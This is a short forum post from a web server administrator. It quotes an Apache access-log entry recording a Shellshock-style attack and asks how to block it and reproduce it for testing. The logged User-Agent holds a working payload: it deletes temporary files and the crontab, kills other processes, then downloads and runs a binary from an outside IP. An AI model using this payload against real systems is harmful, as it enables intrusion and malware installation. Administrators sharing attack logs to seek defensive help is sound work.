Hello
A hacker attacked a apache2 web server by HTTP injection.
The log show what he has done:
62.1.212.154 - - [01/Jul/2015:17:02:06 +0300] "GET /phppath/cgi_wrapper
HTTP/1.1" 404 280 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm
-rf /tmp/* ; rm -rf /var/tmp/* ; rm -rf /tmp/.* ; rm -rf /var/tmp/.* ;
crontab -r ; killall -9 wget fetch curl lwp-download b f r xx y i.gif
print start pscan pnscan ps ; wget http://80.68.94.216/sc.gif ; curl -O
http://80.68.94.216/sc.gif ; chmod +x sc.gif ; nohup ./sc.gif & \");'"
How can I prevent this in the future and how can I reproduce?
I tried to reproduce but is not clear how he launched this command and I
want to know so I can test my vulnerabilities in the future.
The path "/phppath/cgi_wrapper" doesn't exist at all.
Thank you
